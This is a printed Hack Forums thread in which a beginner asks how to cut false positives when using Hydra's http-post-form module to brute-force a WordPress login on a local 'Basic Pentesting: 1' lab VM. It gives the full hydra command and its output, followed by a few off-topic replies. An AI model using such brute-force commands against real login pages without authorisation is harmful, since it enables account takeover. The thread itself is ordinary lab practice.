How to reduce false positive in hydra http-post-form module due to more than 1 error? - Printable Version

How to reduce false positive in hydra http-post-form module due to more than 1 error? - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+---- Thread: How to reduce false positive in hydra http-post-form module due to more than 1 error? (/showthread.php?tid=6085433)

How to reduce false positive in hydra http-post-form module due to more than 1 error? - w01f - Jun 7, 2020

Edit: Links removed due to "Sorry, you cannot post links, videos, or images until you've made more than 50 total posts or have upgraded." error. I'll post it later when I have more than 50 posts.

This question is based on security challenge on Basic Pentesting: 1 [link removed].

Feel free to download if you want to reproduce this issue as well.

It's easy to do this if there's only a single error message when credentials entered was wrong such as DVWA login page challenge [link removed].

However, there are 3 different error for this challnge.

Here are 3 different scenario that I've tested.

Code 
1. u:root p:root

ERROR: Invalid username. Lost your password?

2. u:root/admin p:<blank>

ERROR: The password field is empty.

3. u:admin p:random

ERROR: The password you entered for the username admin is incorrect. Lost your password?

In this example, I'll use the 1st error which is Invalid username as hydra's blacklisting value.

Code 
hydra -V -e nsr -l admin \

127.0.0.1 http-post-form \

'/secret/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:Invalid username'

E.g.

Code 
wolf@linux:~$ hydra -V -e nsr -l admin \

> 127.0.0.1 http-post-form \

> '/secret/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:Invalid username'

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (hxxps://github.com/vanhauser-thc/thc-hydra) starting at 2020-06-07 18:20:37

[DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:1/p:3), ~1 try per task

[DATA] attacking http-post-form://127.0.0.1:80/secret/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:Invalid username

[ATTEMPT] target 127.0.0.1 - login "admin" - pass "admin" - 1 of 3 [child 0] (0/0)

[ATTEMPT] target 127.0.0.1 - login "admin" - pass "" - 2 of 3 [child 1] (0/0)

[ATTEMPT] target 127.0.0.1 - login "admin" - pass "nimda" - 3 of 3 [child 2] (0/0)

[80][http-post-form] host: 127.0.0.1   login: admin

[80][http-post-form] host: 127.0.0.1   login: admin   password: nimda

[80][http-post-form] host: 127.0.0.1   login: admin   password: admin

1 of 1 target successfully completed, 3 valid passwords found

Hydra (hxxps://github.com/vanhauser-thc/thc-hydra) finished at 2020-06-07 18:20:38

wolf@linux:~$

The problem is if the error string is not Invalid username, then hydra will assume the credentials are correct.

How do I fix this problem?

Is it possible to combine multiple blacklisting value in Hydra?

RE: How to reduce false positive in hydra http-post-form module due to more than 1 _er... - coazoni - Jun 7, 2020

May I ask what language this is?

RE: How to reduce false positive in hydra http-post-form module due to more than 1 _er... - w01f - Jun 18, 2020

(Jun 7, 2020 06:30 PM)coazoni Wrote: May I ask what language this is?

English? I don't get your question.

RE: How to reduce false positive in hydra http-post-form module due to more than 1 _er... - TheBrokenWasp - Jun 18, 2020

(Jun 18, 2020 07:26 AM)w01f Wrote: English? I don't get your question.

He thinks you posted code and is trying to sound smart by asking which programming language.

RE: How to reduce false positive in hydra http-post-form module due to more than 1 _er... - w01f - Jun 18, 2020

(Jun 18, 2020 07:49 AM)TheBrokenWasp Wrote: He thinks you posted code and is trying to sound smart by asking which programming language.

LOL

Code 
w01f@linux:~$ file /usr/bin/hydra

/usr/bin/hydra: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2

That's ELF file, btw it was written in C.

RE: How to reduce false positive in hydra http-post-form module due to more than 1 _er... - extremebot - Jun 20, 2020

Im pretty sure you forgot to include ^&USER ^&PASS